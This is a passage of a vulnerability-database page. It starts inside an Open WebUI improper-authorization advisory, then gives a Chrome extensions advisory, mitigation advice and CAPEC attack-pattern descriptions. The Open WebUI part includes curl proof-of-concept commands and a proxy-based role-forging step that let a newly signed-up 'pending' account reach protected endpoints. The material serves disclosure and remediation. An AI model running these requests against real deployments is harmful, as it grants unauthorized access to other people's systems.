get_current_user_by_api_key(auth_token.credentials)\n # auth by jwt token\n data = decode_token(auth_token.credentials)\n if data != None and \"id\" in data:\n user = Users.get_user_by_id(data[\"id\"])\n if user is None:\n raise HTTPException(\n status_code=status.HTTP_401_UNAUTHORIZED,\n detail=ERROR_MESSAGES.INVALID_TOKEN,\n )\n return user\n else:\n raise HTTPException(\n status_code=status.HTTP_401_UNAUTHORIZED,\n detail=ERROR_MESSAGES.UNAUTHORIZED,\n )\n```\n\nAs shown above, this logic does not verify the role of the user, the function simples checks if the JWT is valid.\n\n---\n\n## 12. Proof-of-Concept\n\nFirst, verify that an unauthenticated user receives `{\"detail\":\"401 Unauthorized\"}`:\n\n```bash\ncurl -s -X $\u0027GET\u0027 \\\n -H $\u0027Host: openwebui.example.com\u0027 \\\n -H $\u0027Content-Type: application/json\u0027 \\\n $\u0027https://openwebui.example.com/ollama/api/tags\u0027\n```\n\nThe above curl command will return: `{\"detail\":\"401 Unauthorized\"}` as no Authorization Bearer token is provided.\n\nNow to access the authentication endpoint, two calls will be made. The first cURL creates an account and sets the `$JWT` environment variable which will be utilized in the subsequent cURL command.\n\n```bash\nexport JWT=$(curl -s -X POST \\\n -H \u0027Host: openwebui.example.com\u0027 -H \u0027Content-Length: 60\u0027 \\\n -H \u0027Content-Type: application/json\u0027 \\\n --data \u0027{\"name\":\"\",\"email\":\"bad_guy@korelogic.com\",\"password\":\"a\"}\u0027 \\\n \u0027https://openwebui.example.com/api/v1/auths/signup\u0027 | jq \u0027.token\u0027|tr -d \u0027\"\u0027)\n\ncurl -v $\u0027GET\u0027 \\\n -H $\u0027Host: openwebui.example.com\u0027 \\\n -H $\u0027Content-Type: application/json\u0027 \\\n -H $\u0027Authorization: Bearer ${JWT}\u0027 -H $\u0027Content-Length: 2\u0027 \\\n --data-binary $\u0027\\x0d\\x0a\u0027 \\\n $\u0027https://openwebui.example.com/ollama/api/tags\u0027\n```\n\nAdditionally the `\"role\":\"pending\"` value in the HTTP response can be forged from `POST /api/v1/auths/signin` and `GET /api/v1/auths/` to utilize the full website. This can be achieved with a man-in-the-middle proxy such as Burp or Zap and modifying `pending` to `user`.\n\n---\n\n## 13. Mitigation Recommendation\n\nThe application currently has a function for checking if the user is authorized. However, it is not being utilized except for one endpoint. See \u003chttps://github.com/open-webui/open-webui/blob/0399a69b73de9789c4221acedea70d528e1346c4/backend/utils/utils.py#L110-L116\u003e for the correct function to use.\n\n```python\ndef get_verified_user(user=Depends(get_current_user)):\nif user.role not in {\"user\", \"admin\"}:\n raise HTTPException(\n status_code=status.HTTP_401_UNAUTHORIZED,\n detail=ERROR_MESSAGES.ACCESS_PROHIBITED,\n )\nreturn user\n```\n\nModify all authenticated endpoints to utilize `get_verified_user()` function instead of `get_current_user()`.",
"id": "GHSA-4vg5-rp28-gvjf",
"modified": "2026-05-19T15:57:37Z",
"published": "2026-05-08T22:34:12Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-4vg5-rp28-gvjf"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44567"
},
{
"type": "PACKAGE",
"url": "https://github.com/open-webui/open-webui"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "Open WebUI has Improper Authorization Control"
}
GHSA-4WG5-GH53-4JF5
Vulnerability from github – Published: 2022-09-27 00:00 – Updated: 2025-05-22 15:34Insufficient policy enforcement in Extensions API in Google Chrome prior to 105.0.5195.52 allowed an attacker who convinced a user to install a malicious extension to bypass downloads policy via a crafted HTML page.
{
"affected": [],
"aliases": [
"CVE-2022-3047"
],
"database_specific": {
"cwe_ids": [
"CWE-602",
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-09-26T16:15:00Z",
"severity": "MODERATE"
},
"details": "Insufficient policy enforcement in Extensions API in Google Chrome prior to 105.0.5195.52 allowed an attacker who convinced a user to install a malicious extension to bypass downloads policy via a crafted HTML page.",
"id": "GHSA-4wg5-gh53-4jf5",
"modified": "2025-05-22T15:34:42Z",
"published": "2022-09-27T00:00:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-3047"
},
{
"type": "WEB",
"url": "https://chromereleases.googleblog.com/2022/08/stable-channel-update-for-desktop_30.html"
},
{
"type": "WEB",
"url": "https://crbug.com/1342586"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/T4NMJURTG5RO3TGD7ZMIQ6Z4ZZ3SAVYE"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/T4NMJURTG5RO3TGD7ZMIQ6Z4ZZ3SAVYE"
},
{
"type": "WEB",
"url": "https://security.gentoo.org/glsa/202209-23"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
Mitigation
- For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
- Even though client-side checks provide minimal benefits with respect to server-side security, they are still useful. First, they can support intrusion detection. If the server receives input that should have been rejected by the client, then it may be an indication of an attack. Second, client-side error-checking can provide helpful feedback to the user about the expectations for valid input. Third, there may be a reduction in server-side processing time for accidental input errors, although this is typically a small savings.
Mitigation
If some degree of trust is required between the two entities, then use integrity checking and strong authentication to ensure that the inputs are coming from a trusted source. Design the product so that this trust is managed in a centralized fashion, especially if there are complex or numerous communication channels, in order to reduce the risks that the implementer will mistakenly omit a check in a single code path.
CAPEC-162: Manipulating Hidden Fields
An adversary exploits a weakness in the server's trust of client-side processing by modifying data on the client-side, such as price information, and then submitting this data to the server, which processes the modified data. For example, eShoplifting is a data manipulation attack against an on-line merchant during a purchasing transaction. The manipulation of price, discount or quantity fields in the transaction message allows the adversary to acquire items at a lower cost than the merchant intended. The adversary performs a normal purchasing transaction but edits hidden fields within the HTML form response that store price or other information to give themselves a better deal. The merchant then uses the modified pricing information in calculating the cost of the selected items.
CAPEC-202: Create Malicious Client
An adversary creates a client application to interface with a target service where the client violates assumptions the service makes about clients. Services that have designated client applications (as opposed to services that use general client applications, such as IMAP or POP mail servers which can interact with any IMAP or POP client) may assume that the client will follow specific procedures.
CAPEC-207: Removing Important Client Functionality
An adversary removes or disables functionality on the client that the server assumes to be present and trustworthy.
CAPEC-208: Removing/short-circuiting 'Purse' logic: removing/mutating 'cash' decrements
An attacker removes or modifies the logic on a client associated with monetary calculations resulting in incorrect information being sent to the server. A server may rely on a client to correctly compute monetary information. For example, a server might supply a price for an item and then rely on the client to correctly compute the total cost of a purchase given the number of items the user is buying. If the attacker can remove or modify the logic that controls these calculations, they can return incorrect values to the server. The attacker can use this to make purchases for a fraction of the legitimate cost or otherwise avoid correct billing for activities.
CAPEC-21: Exploitation of Trusted Identifiers
An adversary guesses, obtains, or "rides" a trusted identifier (e.g. session ID, resource ID, cookie, etc.) to perform authorized actions under the guise of an authenticated user or service.
CAPEC-31: Accessing/Intercepting/Modifying HTTP Cookies
This attack relies on the use of HTTP Cookies to store credentials, state information and other critical data on client systems. There are several different forms of this attack. The first form of this attack involves accessing HTTP Cookies to mine for potentially sensitive data contained therein. The second form involves intercepting this data as it is transmitted from client to server. This intercepted information is then used by the adversary to impersonate the remote user/session. The third form is when the cookie's content is modified by the adversary before it is sent back to the server. Here the adversary seeks to convince the target server to operate on this falsified information.
CAPEC-383: Harvesting Information via API Event Monitoring
An adversary hosts an event within an application framework and then monitors the data exchanged during the course of the event for the purpose of harvesting any important data leaked during the transactions. One example could be harvesting lists of usernames or userIDs for the purpose of sending spam messages to those users. One example of this type of attack involves the adversary creating an event within the sub-application. Assume the adversary hosts a "virtual sale" of rare items. As other users enter the event, the attacker records via AiTM (CAPEC-94) proxy the user_ids and usernames of everyone who attends. The adversary would then be able to spam those users within the application using an automated script.
CAPEC-384: Application API Message Manipulation via Man-in-the-Middle
An attacker manipulates either egress or ingress data from a client within an application framework in order to change the content of messages. Performing this attack can allow the attacker to gain unauthorized privileges within the application, or conduct attacks such as phishing, deceptive strategies to spread malware, or traditional web-application attacks. The techniques require use of specialized software that allow the attacker to perform adversary-in-the-middle (CAPEC-94) communications between the web browser and the remote system. Despite the use of AiTH software, the attack is actually directed at the server, as the client is one node in a series of content brokers that pass information along to the application framework. Additionally, it is not true "Adversary-in-the-Middle" attack at the network layer, but an application-layer attack the root cause of which is the master applications trust in the integrity of code supplied by the client.
CAPEC-385: Transaction or Event Tampering via Application API Manipulation
An attacker hosts or joins an event or transaction within an application framework in order to change the content of messages or items that are being exchanged. Performing this attack allows the attacker to manipulate content in such a way as to produce messages or content that look authentic but may contain deceptive links, substitute one item or another, spoof an existing item and conduct a false exchange, or otherwise change the amounts or identity of what is being exchanged. The techniques require use of specialized software that allow the attacker to man-in-the-middle communications between the web browser and the remote system in order to change the content of various application elements. Often, items exchanged in game can be monetized via sales for coin, virtual dollars, etc. The purpose of the attack is for the attack to scam the victim by trapping the data packets involved the exchange and altering the integrity of the transfer process.
CAPEC-386: Application API Navigation Remapping
An attacker manipulates either egress or ingress data from a client within an application framework in order to change the destination and/or content of links/buttons displayed to a user within API messages. Performing this attack allows the attacker to manipulate content in such a way as to produce messages or content that looks authentic but contains links/buttons that point to an attacker controlled destination. Some applications make navigation remapping more difficult to detect because the actual HREF values of images, profile elements, and links/buttons are masked. One example would be to place an image in a user's photo gallery that when clicked upon redirected the user to an off-site location. Also, traditional web vulnerabilities (such as CSRF) can be constructed with remapped buttons or links. In some cases navigation remapping can be used for Phishing attacks or even means to artificially boost the page view, user site reputation, or click-fraud.
CAPEC-387: Navigation Remapping To Propagate Malicious Content
An adversary manipulates either egress or ingress data from a client within an application framework in order to change the content of messages and thereby circumvent the expected application logic.
CAPEC-388: Application API Button Hijacking
An attacker manipulates either egress or ingress data from a client within an application framework in order to change the destination and/or content of buttons displayed to a user within API messages. Performing this attack allows the attacker to manipulate content in such a way as to produce messages or content that looks authentic but contains buttons that point to an attacker controlled destination.